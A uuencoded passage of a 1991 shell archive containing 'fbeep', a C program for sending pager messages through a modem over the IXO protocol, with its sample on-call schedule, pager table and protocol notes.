M=F]I9"D@9G!R:6YT9BAS=&1E<G(L(").;R!M;V1E;7,@879A:6QA8FQE+EQN M(BD["E@@(" @(" @(" @(" @(" @(" @(&)A:6Q?;W5T*#$I.PI8(" @(" @ M(" @(" @(" @('T*6" @(" @(" @(" @('T*6" @(" @(" @?2!E;'-E('L* M6" @(" @(" @(" @('!I9" ](&=E='!I9"@I.PI8(" @(" @(" @(" @<W!R M:6YT9BAB=68L("(E9"(L('!I9"D["E@@(" @(" @(" @("!W<FET92AL;V-K M+"!B=68L('-T<FQE;BAB=68I*3L*6" @(" @(" @(" @(&-L;W-E*&QO8VLI M.PI8(" @(" @(" @(" @8G)E86L["E@@(" @(" @('T*6" @("!]"E@*6" @ M("!R971U<FX@;&MN.PI8?0I8"EAV;VED( I8=6YW;&]C:RAN86UE*0I8(" @ M(&-H87(@(" @(" @(" @("IN86UE.PI8>PI8(" @(&EF("AO<'1?=F5R8F]S M92D*6" @(" @(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B56YL;V-K:6YG M(&UO9&5M+EQN(BD["E@@(" @=6YL:6YK*&YA;64I.PI8(" @(')E='5R;CL* M6'T*6 I89W)A8FUO9&5M*&1E=BD*6" @("!C:&%R(" @(" @(" @(" J9&5V M.PI8>PI8(" @('-T<G5C="!T97)M:6]S("!T:3L*6" @("!I;G0@(" @(" @ M(" @(" @;6]D96T["E@*6" @("!I9B H;W!T7W9E<F)O<V4I"E@@(" @(" @ M("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(D]P96YI;F<@;6]D96TN7&XB*3L* M6" @("!E<G)N;R ](# ["E@@(" @;6]D96T@/2!O<&5N*&1E=BP@3U]21%=2 M+" P*3L*6" @("!I9B H97)R;F\I('L*6" @(" @(" @<&5R<F]R*")%4E(@ M;W!E;FEN9R!M;V1E;2 B*3L*6" @(" @(" @8F%I;%]O=70H,2D["E@@(" @ M?0I8(" @("\J('-E="!T='D@<&%R86US('1O(#,P,&)P<RP@979E;B!P87)I M='DL(#<M,2UE("HO"E@*6" @("!E<G)N;R ](# ["E@@(" @:6]C=&PH;6]D M96TL(%1#1T544RP@)G1I*3L*6" @("!I9B H97)R;F\I('L*6" @(" @(" @ M<&5R<F]R*")%4E(@<F5A9&EN9R!M;V1E;2!S971T:6YG<R(I.PI8(" @(" @ M("!B86EL7V]U="@Q*3L*6" @("!]"E@@(" @=&DN8U]I9FQA9R!\/2!)1TY" M4DL[(" @+RH@:6=N;W)E(&)R96%K<R J+PI8(" @("\J('1I+F-?:69L86<@ M?#T@24=.4$%2.R J+R\J(&EG;F]R92!P87)I='D@*B\*6" @("!T:2YC7VEF M;&%G("8]('Y)3E!#2SL@(" O*B!I9VYO<F4@<&%R:71Y(&5R<F]R<R J+PI8 M(" @('1I+F-?:69L86<@?#T@25-44DE0.R @("\J('-T<FEP(#AT:"!B:70@ M*B\*6" @("!T:2YC7VEF;&%G("8]('Y)3DQ#4CL@(" O*B!D;VXG="!C<BT^ M;FP@*B\*6" @("!T:2YC7VEF;&%G("8]('Y)0U).3#L@(" O*B!D;VXG="!C M<BT^;FP@*B\*6" @("!T:2YC7VEF;&%G("8]('Y)1TY#4CL@(" O*B!D;VXG M="!I9VYO<F4@8W(@*B\*6" @(" O*B!T:2YC7VEF;&%G("8]('Y)6$]..R J M+R\J(&1O;B=T(&1O('AO;B J+PI8(" @("\J('1I+F-?:69L86<@)CT@?DE8 M3T9&.R J+R\J(&1O;B=T(&1O('AO9F8@*B\*6 I8(" @('1I+F-?;V9L86<@ M)CT@?D]03U-4.R @("\J(&1O;B=T('!O<W0M<')O8V5S<R J+PI8"E@@(" @ M=&DN8U]C9FQA9R F/2!^0T)!540[(" @+RH@8F%U9#TS,# @*B\*6" @("!T M:2YC7V-F;&%G('P]($(S,# ["E@@(" @=&DN8U]C9FQA9R F/2!^0U-)6D4[ M(" @+RH@."UB:70@8GET97,@*B\*6" @("!T:2YC7V-F;&%G('P]($-3.#L* M6" @("!T:2YC7V-F;&%G("8]('Y#4U1/4$([(" O*B!O;F4@<W1O<"!B:70@ M*B\*6" @("!T:2YC7V-F;&%G("8]('Y005)%3D([(" O*B!P87)I='D@*B\* M6" @("!T:2YC7V-F;&%G("8]('Y005)/1$0[(" O*B!E=F5N('!A<FET>2 J M+PI8(" @('1I+F-?8V9L86<@?#T@2%500TP[(" @("\J(&AA;F<@=7 @;VX@ M;&%S="!C;&]S92 J+PI8(" @("\J('1I+F-?8V9L86<@?#T@0U)44T-44SL@ M*B\O*B!H87)D=V%R92!H86YD<VAA:VEN9R J+PI8(" @('1I+F-?8V-;5DU) M3ET@/2 P.R @+RH@<F5A9"@I(&-A;B!G970@87,@9F5W(&%S(# @8GET97,@ M*B\*6" @("!T:2YC7V-C6U9424U%72 ](#(P.R @(" O*B!T:6UE(&]U="!A M=" R('-E8V]N9',@;F\@;6%T=&5R('=H870@*B\*6 I8(" @('1I+F-?;&9L M86<@)CT@?DE324<[(" @("\J(&1I<V%B;&4@<VEG;F%L<R J+PI8(" @('1I M+F-?;&9L86<@)CT@?DE#04Y/3CL@("\J(&1I<V%B;&4@<VEG;F%L<R J+PI8 M(" @('1I+F-?;&9L86<@)CT@?D5#2$\[(" @("\J(&1O;B=T(&5C:&\@*B\* M6 I8(" @(&5R<FYO(#T@,#L*6" @("!I;V-T;"AM;V1E;2P@5$-31513+" F M=&DI.PI8(" @(&EF("AE<G)N;RD*6" @(" @(" @<&5R<F]R*")%4E(@<V5T M=&EN9R!M;V1E;2!S971T:6YG<R B*3L*6 I8(" @(')E='5R;B!M;V1E;3L* M6'T*6 I8=F]I9" *6'-E;F0H9F0L('-T<BD*6" @("!I;G0@(" @(" @(" @ M(" @9F0["E@@(" @8VAA<B @(" @(" @(" @*G-T<CL*6'L*6" @("!I9B H M;W!T7W9E<F)O<V4@/B Q*2!["E@@(" @(" @(&EF("AL87-T7W-A9F4@(3T@ M3%-?4T5.1"D@>PI8(" @(" @(" @(" @<V%F96YL*"D["E@@(" @(" @(" @ M(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L(")396YD:6YG.B(I.PI8(" @(" @ M("!]"E@@(" @(" @('-A9F5P<FEN="AS='(I.PI8(" @('T*6" @("!W<FET M92AF9"P@<W1R+"!S=')L96XH<W1R*2D["E@@(" @;&%S=%]S869E(#T@3%-? M4T5.1#L*6'T*6 I8"EAI;G0@"EAE>'!E8W0H9F0L(&9L86<L('-T<BD*6" @ M("!I;G0@(" @(" @(" @(" @9F0L(&9L86<["E@@(" @8VAA<B @(" @(" @ M(" @*G-T<CL*6'L*6" @("!I;G0@(" @(" @(" @(" @96-N=#L*6" @("!C M:&%R(" @(" @(" @(" J<#L*6" @("!C:&%R(" @(" @(" @(" @8RP@8W-; M,ET["E@*6" @("!C<ULQ72 ]("=<,"<["E@*6" @("!I9B H(69L86<I"E@@ M(" @(" @(&9L86<@/2 R,#L@("\J(&EF(&9L86<],"!T:&5N(&1E9F%U;'0@ M=&\@-# @<V5C;VYD<R J+PI8(" @(&5L<V4*6" @(" @(" @9FQA9R O/2 R M.PI8"E@@(" @:68@*&]P=%]V97)B;W-E(#X@,2D@>PI8(" @(" @("!I9B H M;&%S=%]S869E("$]($Q37T584$5#5"D@>PI8(" @(" @(" @(" @<V%F96YL M*"D["E@@(" @(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L(")%>'!E M8W1I;F<Z(BD["E@@(" @(" @('T*6" @(" @(" @<V%F97!R:6YT*'-T<BD[ M"E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(CI<;B(I.PI8(" @ M('T*6" @("!E8VYT(#T@,#L*6" @("!W:&EL92 H9FQA9RTM*2!["E@@(" @ M(" @(' @/2!S='(["E@@(" @(" @('=H:6QE("AR96%D*&9D+" F8RP@,2D@ M/3T@,2D@>PI8(" @(" @(" @(" @*F-S(#T@8SL*6" @(" @(" @(" @(&5C M;G0K*SL*6" @(" @(" @(" @(&EF("AE8VYT(#X@-S I('L*6" @(" @(" @ M(" @(" @("!E8VYT(#T@,#L*6" @(" @(" @(" @(" @("!I9B H;W!T7W9E M<F)O<V4@/B Q*0I8(" @(" @(" @(" @(" @(" @(" H=F]I9"D@9G!R:6YT M9BAS=&1E<G(L(")<;B(I.PI8(" @(" @(" @(" @?0I8(" @(" @(" @(" @ M:68@*&]P=%]V97)B;W-E(#X@,2D*6" @(" @(" @(" @(" @("!S869E<')I M;G0H8W,I.PI8(" @(" @(" @(" @:68@*&,@/3T@*G I('L*6" @(" @(" @ M(" @(" @("!P*RL["E@@(" @(" @(" @(" @(" @:68@*"$H*G I*2!["E@@ M(" @(" @(" @(" @(" @(" @(&EF("AO<'1?=F5R8F]S92 ^(#$I"E@@(" @ M(" @(" @(" @(" @(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L("); M1T]4($E475QN(BD["E@@(" @(" @(" @(" @(" @(" @(&QA<W1?<V%F92 ] M($Q37TY/5$A)3D<["E@@(" @(" @(" @(" @(" @(" @(')E='5R;B P.PI8 M(" @(" @(" @(" @(" @('T*6" @(" @(" @(" @('T@96QS90I8(" @(" @ M(" @(" @(" @(' @/2!S='(["E@@(" @(" @('T*6" @("!]"E@@(" @:68@ M*&5C;G0I"E@@(" @(" @(&QA<W1?<V%F92 ]($Q37T584$5#5#L*6" @("!E M;'-E"E@@(" @(" @(&QA<W1?<V%F92 ]($Q37TY/5$A)3D<["E@@(" @<F5T M=7)N(#$["EA]"E@*6 I8=F]I9" *6&AA;F=U<"AF9"P@<W0I"E@@(" @:6YT M(" @(" @(" @(" @(&9D+"!S=#L*6'L*6" @("!S869E;FPH*3L*6" @("!I M9B H;W!T7W9E<F)O<V4I"E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R M<BP@(DAA;F=I;F<@=7 N7&XB*3L*6" @("!S;&5E<"@S*3L*6" @("!S96YD M*&9D+" B*RLK(BD["E@@(" @<V%F96YL*"D["E@@(" @<VQE97 H,RD["E@@ M(" @<V5N9"AF9"P@(D%42%QR(BD["E@@(" @<V%F96YL*"D["E@@(" @8VQO M<V4H9F0I.PI8(" @('5N=VQO8VLH;6]D96UL;V-K*3L*6" @("!B86EL7V]U M="AS="D["EA]"E@*6'9O:60@"EAP86=E*"D*6'L*6" @("!I;G0@(" @(" @ M(" @(" @;6]D96TL(&QO9VEN7V5R<CL*6" @("!C:&%R(" @(" @(" @(" J M<#L*6 I8(" @(&EF("AO<'1?=F5R8F]S92D*6" @(" @(" @*'9O:60I(&9P M<FEN=&8H<W1D97)R+" B7&Y/<'1I;VYS('-E;&5C=&5D.EQN7&XB*3L*6" @ M("!I9B H;W!T7W9E<F)O<V4I"E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T M9&5R<BP@(B!086=I;F<Z("5S7&XB+"!O<'1?=VAO*3L*6" @("!I9B H;W!T M7W9E<F)O<V4@/B R*0I8(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L M("(@57-I;F<@9&5V:6-E.B E<UQN(BP@;W!T7VUO9&5M*3L*6" @("!I9B H M;W!T7W9E<F)O<V4I"E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@ M(B!$:6%L(&YU;6)E<CH@)7-<;B(L(&]P=%]D:6%L;G5M*3L*6" @("!I9B H M;W!T7W9E<F)O<V4I"E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@ M(B!086=E<B!I9#H@)7-<;B(L(&]P=%]P86=E<FED*3L*6" @("!I9B H;W!T M7W9E<F)O<V4@/B R*0I8(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L M("(@5&%B;&4@9FEL93H@)7-<;B(L(&]P=%]B=&%B*3L*6" @("!I9B H;W!T M7W9E<F)O<V4@/B R*0I8(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L M("(@4V-H960@9FEL93H@)7-<;B(L(&]P=%]S8VAE9"D["E@@(" @:68@*&]P M=%]V97)B;W-E*0I8(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L("(@ M5V%I="!F;W(@;6]D96TZ("5S7&XB+" H;W!T7W=A:70@/R B5%)512(@.B B M1D%,4T4B*2D["E@@(" @:68@*&]P=%]V97)B;W-E(#X@,BD*6" @(" @(" @ M*'9O:60I(&9P<FEN=&8H<W1D97)R+" B(%1E92!O=71P=70Z("5S7&XB+" H M;W!T7W1E92 _(")44E5%(B Z(")&04Q312(I*3L*6" @("!I9B H;W!T7W9E M<F)O<V4@/B R*0I8(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L("(@ M5F5R8F]S92!L979E;#H@)61<;B(L(&]P=%]V97)B;W-E*3L*6" @("!I9B H M;W!T7W9E<F)O<V4I"E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@ M(B!-97-S86=E.B E<UQN(BP@;W!T7VUE<W-A9V4I.PI8(" @(&EF("AO<'1? M=F5R8F]S92D*6" @(" @(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B7&XB M*3L*6 I8(" @(' @/2!S=')R8VAR*&]P=%]M;V1E;2P@)R\G*3L@("\J('EO M=2!M:6=H="!C:&%N9V4@<W1R<F-H<B!T;R!R:6YD97@@*B\*6" @("!P*RL[ M"E@@(" @;6]D96UL;V-K(#T@=VQO8VLH<"D["E@@(" @;6]D96T@/2!G<F%B M;6]D96TH;W!T7VUO9&5M*3L*6 I8"E@@(" @:68@*&]P=%]V97)B;W-E*0I8 M(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L(")297-E='1I;F<@;6]D M96TN7&XB*3L*6 I8(" @("\J('IA<"!C=7)R96YT('-E<W-I;VX@86YD(&AA M;F<@=7 L('=A:70@,3 @<V5C;VYD<R!A;F0@9FQU<V@@*B\*6" @("!S;&5E M<"@S*3L*6" @("!S96YD*&UO9&5M+" B*RLK(BD["E@@(" @<V%F96YL*"D[ M"E@@(" @<VQE97 H,RD["E@@(" @<V5N9"AM;V1E;2P@(D%42%QR(BD["E@@ M(" @<V%F96YL*"D["E@@(" @<VQE97 H,RD["E@@(" @:6]C=&PH;6]D96TL M(%1#1DQ32"P@,"D["E@*6" @("!I9B H;W!T7W9E<F)O<V4I"E@@(" @(" @ M("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(D-H96-K:6YG(&UO9&5M+EQN(BD[ M"E@*6" @(" O*B!G970@;6]D96TG<R!A='1E;G1I;VXL(&EF(&YO(')E<W!O M;G-E('1H96X@9F]R9V5T(&ET("HO"E@@(" @<V5N9"AM;V1E;2P@(D%47'(B M*3L*6" @("!I9B H97AP96-T*&UO9&5M+" P+" B3TM<<EQN(BDI('L*6" @ M(" @(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B15)2.B!#;W5L9&XG="!T M86QK('1O(&UO9&5M+EQN(BD["E@@(" @(" @(&AA;F=U<"AM;V1E;2P@,2D[ M"E@@(" @?3L*6 I8(" @("\J('1U<FX@;VX@96-H;RP@:68@;F\@<F5S<&]N M<V4@=&AE;B!F;W)G970@:70@*B\*6" @("!S96YD*&UO9&5M+" B051%,5QR M(BD["E@@(" @:68@*&5X<&5C="AM;V1E;2P@,"P@(D]+7')<;B(I*2!["E@@ M(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(D524CH@0V%N)W0@='5R M;B!O;B!E8VAO+EQN(BD["E@@(" @(" @(&AA;F=U<"AM;V1E;2P@,2D["E@@ M(" @?3L*6 I8(" @("\J(&1I86P@=&AE(&YU;6)E<B J+PI8(" @(&EF("AO M<'1?=F5R8F]S92D*6" @(" @(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B M1&EA;&EN9RY<;B(I.PI8(" @('-E;F0H;6]D96TL(")!5$14(BD["E@@(" @ M97AP96-T*&UO9&5M+" P+" B1%0B*3L*6" @("!S96YD*&UO9&5M+"!O<'1? M9&EA;&YU;2D["E@@(" @<V5N9"AM;V1E;2P@(EQR(BD["E@@(" @+RH@97AP M96-T*&UO9&5M+# L(&]P=%]D:6%L;G5M*3L@*B\*6" @("!I9B H97AP96-T M*&UO9&5M+" Y,"P@(D-/3DY%0U0B*2D@>PI8(" @(" @(" H=F]I9"D@9G!R M:6YT9BAS=&1E<G(L(")<;D524CH@3F\@8V]N;F5C=&EO;B!M861E+EQN(BD[ M"E@@(" @(" @(&AA;F=U<"AM;V1E;2P@,2D["E@@(" @?3L*6 I8(" @(&EF M("AO<'1?=F5R8F]S92D*6" @(" @(" @*'9O:60I(&9P<FEN=&8H<W1D97)R M+" B3&]G9VEN9R!I;BY<;B(I.PI8(" @("\J('-E;F0@82!#4B!E=F5R('-E M8V]N9"!U;G1I;" B240](B!C;VUE<R!B86-K("HO"E@@(" @;&]G:6Y?97)R M(#T@,3 P.PI8(" @(&1O('L*6" @(" @(" @<V5N9"AM;V1E;2P@(EQR(BD[ M"E@@(" @(" @(&EF("@A;&]G:6Y?97)R+2TI('L*6" @(" @(" @(" @("AV M;VED*2!F<')I;G1F*'-T9&5R<BP@(D524CH@;F\@240]7&XB*3L*6" @(" @ M(" @(" @(&AA;F=U<"AM;V1E;2P@,2D["E@@(" @(" @('T*6" @("!]('=H M:6QE("AE>'!E8W0H;6]D96TL(#(L("))1#TB*2D["E@*6" @("!I9B H;W!T M7W9E<F)O<V4@/B R*0I8(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L M(")3=&%R=&EN9R!M86YU86P@;6]D92Y<;B(I.PI8"E@@(" @<V5N9"AM;V1E M;2P@(DU<<B(I.R O*B!P=70@:70@:6YT;R!M86YU86P@;6]D92!A;F0@9F]R M9V5T('1H92!)6$\*6" @(" @(" @(" @(" @(" @*B!P<F]T;V-O;"!"4R J M+PI8(" @(&5X<&5C="AM;V1E;2P@,"P@(D5N=&5R(%!A9V5R($YU;6)E<B(I M.PI8"E@@(" @:68@*&]P=%]V97)B;W-E*0I8(" @(" @(" H=F]I9"D@9G!R M:6YT9BAS=&1E<G(L(")396YD:6YG('!A9V5R:60N7&XB*3L*6 I8(" @('-E M;F0H;6]D96TL(&]P=%]P86=E<FED*3L*6" @("!S96YD*&UO9&5M+" B7'(B M*3L*6" @("!E>'!E8W0H;6]D96TL(# L(")%;G1E<B!-97-S86=E(BD["E@* M6" @("!I9B H;W!T7W9E<F)O<V4I"E@@(" @(" @("AV;VED*2!F<')I;G1F M*'-T9&5R<BP@(E-E;F1I;F<@;65S<V%G92Y<;B(I.PI8"E@@(" @<V5N9"AM M;V1E;2P@;W!T7VUE<W-A9V4I.PI8(" @('-E;F0H;6]D96TL(")<<B(I.PI8 M(" @(&5X<&5C="AM;V1E;2P@,"P@(E-E;F0@06YO=&AE<B!086=E/R!9+TXB M*3L*6 I8(" @(&EF("AO<'1?=F5R8F]S92D*6" @(" @(" @*'9O:60I(&9P M<FEN=&8H<W1D97)R+" B1&ES8V]N;F5C=&EN9RY<;B(I.PI8"E@@(" @<V5N M9"AM;V1E;2P@(FY<<EPT7'(B*3L*6" @("!E>'!E8W0H;6]D96TL(#(L(")# M05)22452(BD["E@*6" @("!H86YG=7 H;6]D96TL(# I.PI8?0I8"EAM86EN M*&%R9V,L(&%R9W8I"E@@(" @:6YT(" @(" @(" @(" @(&%R9V,["E@@(" @ M8VAA<B @(" @(" @(" J*F%R9W8["EA["E@@(" @*'9O:60I(&9P<FEN=&8H M<W1D97)R+" B9F)E97 @+2!&86YC>2!"965P97(@4')O9W)A;2!V,2XR+EQN M(BD["E@@(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B(" @(" @("!">2!4 M;VT@3&EM;VYC96QL:2P@=&%L0'=A<G)E;BYM96YT;W)G+F-O;5QN(BD["E@@ M(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B(" @(" @("!#;W!Y<FEG:'0@ M*&,I(#$Y.3$L(%1O;2!,:6UO;F-E;&QI7&XB*3L*6" @(" H=F]I9"D@9G!R M:6YT9BAS=&1E<G(L("(@(" @(" @(%1H92!S;W5R8V5S(&-A;B!B92!F<F5E M;'D@8V]P:65D(&9O<B!N;VXM8V]M;65R8VEA;"!U<V4@;VYL>2Y<;B(I.PI8 M"E@@(" @<V5T;W!T:6]N<RAA<F=C+"!A<F=V*3L*6 I8(" @(&EF("@A;W!T M7W9E<F)O<V4I"E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(E!L M96%S92!W86ET+BXN7&XB*3L*6 I8(" @(&EF("AO<'1?=F5R8F]S92 ^(#(I M"E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(D=E='1I;F<@;F%M M95QN(BD["E@*6" @(" O*B!I9B!O<'1?=VAO(&ES("(M(BP@;&]O:R!I="!U M<" J+PI8(" @(&EF("@A<W1R8VUP*&]P=%]W:&\L("(M(BDI"E@@(" @(" @ M(&]P=%]W:&\@/2!R96%D<V-H960H;W!T7W-C:&5D*3L*6 I8(" @(&EF("AO M<'1?=F5R8F]S92 ^(#(I"E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R M<BP@(D=E='1I;F<@9&EA;&YU;5QN(BD["E@*6" @(" O*B!I9B!O<'1?9&EA M;&YU;2!I<R!.54Q,+"!L;V]K(&ET('5P("HO"E@@(" @:68@*&]P=%]D:6%L M;G5M(#T]($Y53$PI"E@@(" @(" @(&]P=%]D:6%L;G5M(#T@9V5T<&%G97)I M;F9O*&]P=%]B=&%B+"!O<'1?=VAO+" T*3L*6 I8(" @(&EF("AO<'1?=F5R M8F]S92 ^(#(I"E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(D=E M='1I;F<@<&%G97)I9%QN(BD["E@*6" @(" O*B!I9B!O<'1?<&%G97)I9"!I M<R!.54Q,+"!L;V]K(&ET('5P("HO"E@@(" @:68@*&]P=%]P86=E<FED(#T] M($Y53$PI"E@@(" @(" @(&]P=%]P86=E<FED(#T@9V5T<&%G97)I;F9O*&]P M=%]B=&%B+"!O<'1?=VAO+" U*3L*6 I8(" @('!A9V4H*3L*6 I8(" @(&)A M:6Q?;W5T*# I.PI8?0I32$%27T5/1@IL96X]8'=C("UC(#P@9F)E97 N8V * M:68@=&5S=" D;&5N("$](#(Q.#<S(#L@=&AE;@IE8VAO('-H87(Z(&9B965P M+F,@=V%S("1L96X@8GET97,@;&]N9RP@<VAO=6QD(&AA=F4@8F5E;B R,3@W M,PIF:0IF:2 C(&5N9"!O9B!O=F5R=W)I=&EN9R!C:&5C:PH*:68@=&5S=" M M9B!B965P97)S8VAE9" [('1H96X*96-H;R!S:&%R.B!W:6QL(&YO="!O=F5R M+7=R:71E(&5X:7-T:6YG(&9I;&4@8F5E<&5R<V-H960*96QS90IE8VAO('-H M87(Z(&5X=')A8W1I;F<@8F5E<&5R<V-H960L(#@Y-"!C:&%R86-T97)S"G-E M9" G<R]>6"\O)R ^(&)E97!E<G-C:&5D(#P\)U-(05)?14]&)PI8(PI8(R!B M965P97)S8VAE9" M+2!T:&4@<V-H961U;&4@;V8@=VAO)W,@;VXM8V%L;"!A M="!W:&%T('1I;65S+@I8(R!;1F]R('5S92!W:71H(&9B965P+F,@+2T@0GD@ M5&]M($QI;6]N8V5L;&D@*'1A;$!W87)R96XN;65N=&]R9RYC;VTI70I8(PI8 M(R!4:&ES(&9I;&4@:7,@;VYL>2!U<V5D(&EF(")W:&\B(&ES("(M(@I8(PI8 M(R!4:&4@;&EN97,@=&AA="!B96=I;B!W:71H(# M-B!R969E<B!T;R!T:&4@ M9&%Y<R!3=6XM4V%T+B @5&AE(#(T"E@C(&)Y=&5S(&%F=&5R(')E9F5R('1O M('=H;R=S(&]N(&1U='D@96%C:"!H;W5R+@I8(PI8(R!)="=S(&YO="!R97%U M:7)E9"P@8G5T($D@=7-E(&QO=V5R(&-A<V4@;&5T=&5R<PI8(R!F;W(@<&5O M<&QE(&%N9"!C87!I=&]L(&QE='1E<G,@9F]R(&=R;W5P<RX*6",*6",@5&AI M<R!S8VAE9'5L92!S:&]W<R!T86PL(&EN9V\L(&%N9"!G<F5G(&%S"E@C(&AA M=FEN9R!D:69F97)E;G0@:&]U<G,N("!/;B!4:'5R<V1A>2!F<F]M(#5A;2TX M.C4Y<&T*6",@86QL('1H<F5E(&%R92!P86=E9"X@(" H375L=&EP;&4@<&5O M<&QE(&ES(&YO= I8(R!Y970@:6UP;&5M96YT960L('-O(&%C='5A;&QY(&YO M8F]D>2!W:6QL(&=E="!P86=E9 I8(R!I;B!T:&]S92!H;W5R<RXI"E@C( I8 M(PI8(R @(" @(" @(" Q,3$Q,3$Q,3$Q,C(R,@I8(S Q,C,T-38W.#DP,3(S M-#4V-S@Y,#$R,PI8(PI8,&%A86%A86%A86%A86%A86%A86%A86%A80I8,6%A M86%A86)B8F)B8F)B86%A86%A86%A80I8,F%A86%A86)B8F)B8F)B86%A86%A M86%A80I8,V%A86%A86)B8F)B8F)B86%A86%A86%A80I8-&%A86%A04%!04%! M04%!04%!04%!06)B8@I8-6-C8V-C8V-C8V-C8V-C8V-C8V-C8V-C8PI8-F-C M8V-C8V-C8V-C8V-C8V-C8V-C8V-C8PI8(PI883UT86P*6&(]:6YG;PI88SUG M<F5G"EA!/71A;"QG<F5G+&EN9V\*4TA!4E]%3T8*;&5N/6!W8R M8R \(&)E M97!E<G-C:&5D8 II9B!T97-T("1L96X@(3T@.#DT(#L@=&AE;@IE8VAO('-H M87(Z(&)E97!E<G-C:&5D('=A<R D;&5N(&)Y=&5S(&QO;F<L('-H;W5L9"!H M879E(&)E96X@.#DT"F9I"F9I(",@96YD(&]F(&]V97)W<FET:6YG(&-H96-K M"@II9B!T97-T("UF(&)E97!E<G1A8B [('1H96X*96-H;R!S:&%R.B!W:6QL M(&YO="!O=F5R+7=R:71E(&5X:7-T:6YG(&9I;&4@8F5E<&5R=&%B"F5L<V4* M96-H;R!S:&%R.B!E>'1R86-T:6YG(&)E97!E<G1A8BP@-C@W(&-H87)A8W1E M<G,*<V5D("=S+UY8+R\G(#X@8F5E<&5R=&%B(#P\)U-(05)?14]&)PI8(PI8 M(R!B965P97)T86(@+2T@=&%B;&4@;V8@:6YF;W)M871I;VX@86)O=70@<&5O M<&QE)W,@8F5E<&5R<RX*6",@6R!&;W(@=7-E('=I=&@@9F)E97 N8R!B>2!4 M;VT@3&EM;VYC96QL:2 H=&%L0'=A<G)E;BYM96YT;W)G+F-O;2E="E@C"E@C M("AT:&5S92!A<F4@;F]T(&-O;6UE;G0@;&EN97,L('1H:7,@:7,@;64@=&%K M:6YG(&%D=F%N=&%G90I8(R @;V8@=&AE(&9A8W0@=&AA="!T:&5R92!I<R!N M;V)O9'D@;F%M960@(B,B*0I8(PI8(R!4:&4@8V]L=6UN<R!A<F4@;F%M92P@ M<VEM<&QE8F5E<" C+"!)6$\@;G5M8F5R('1O(&1I86PL"E@C(&%N9"!)6$\@ M<&%G97)I9"X@('-I;7!L96)E97 @(R!I<R!N;W0@=7-E9"!B>2!F8F5E<"YC M+@I8(PI8(R!!;&EA<V5S(&%R92!I;7!L96UE;G1E9"!B>2!R97!E871I;F<@ M9&%T82X@("AO;V\L(&9A;F-Y(2D*6",*6&=R96<@(" @(#4U-3$R,3(@(" @ M,3@P,#4U-3$R,3(@(" @(#DX-S8U,#$*6&=R96=T(" @(#4U-3$R,3(@(" @ M,3@P,#4U-3$R,3(@(" @(#DX-S8U,#$*6&EN9V\@(" @(#4U-3$R,3(@(" @ M,3@P,#4U-3$R,3(@(" @(#DX-S8U,#(*6&ED96%N(" @(#4U-3$R,3(@(" @ M,3@P,#4U-3$R,3(@(" @(#DX-S8U,#(*6'1O;2 @(" @(#4U-3$R,3(@(" @ M,3@P,#4U-3$R,3(@(" @(#DX-S8U,#,@"EAT86P@(" @(" U-34Q,C$R(" @ M(#$X,# U-34Q,C$R(" @(" Y.#<V-3 S( I32$%27T5/1@IL96X]8'=C("UC M(#P@8F5E<&5R=&%B8 II9B!T97-T("1L96X@(3T@-C@W(#L@=&AE;@IE8VAO M('-H87(Z(&)E97!E<G1A8B!W87,@)&QE;B!B>71E<R!L;VYG+"!S:&]U;&0@ M:&%V92!B965N(#8X-PIF:0IF:2 C(&5N9"!O9B!O=F5R=W)I=&EN9R!C:&5C M:PH*:68@=&5S=" M9B!I>&\N9&]C(#L@=&AE;@IE8VAO('-H87(Z('=I;&P@ M;F]T(&]V97(M=W)I=&4@97AI<W1I;F<@9FEL92!I>&\N9&]C"F5L<V4*96-H M;R!S:&%R.B!E>'1R86-T:6YG(&EX;RYD;V,L(#@W,S<@8VAA<F%C=&5R<PIS M960@)W,O7E@O+R<@/B!I>&\N9&]C(#P\)U-(05)?14]&)PI82&5R92!I<R!A M('-U;6UA<GD@;V8@=&AE($E83R!P<F]T;V-O;"X@($%L;"!T>7!O<R!A;F0* M6&UI<VEN=&5R<')E=&%T:6]N<R!A<F4@;6EN92X@(%1H:7,@:7,@8F%S960@ M;VX@<F5A9&EN9R!T:&4@1VQE;F%Y<F4*6$5L96-T<F]N:6-S(&)O;VLN("!) M(&AA=F4@;F]T('EE="!I;7!L96UE;G1E9"!T:&4@875T;VUA=&EC('!R;W1O M8V]L+ I88G5T($D@:&%V92!I;7!L96UE;G1E9"!T:&4@;6%N=6%L(&]N92X* M6 I866]U(&%R92 B<F5M;W1E(&5N=')Y(&1E=FEC92(@86YD('1H92!S>7-T M96T@=&AA="!Y;W4@9&EA;"!I;G1O(&ES"E@B<&%G:6YG(&-E;G1R86PB+@I8 M"E@H,2D@4F5M;W1E('-E;F1S($-2(&%T('1W;R!S96-O;F0@:6YT97)V86QS M('5N=&EL('!A9VEN9R!C96YT<F%L"EAR97-P;VYD<R!W:71H($E$/2!A="!C 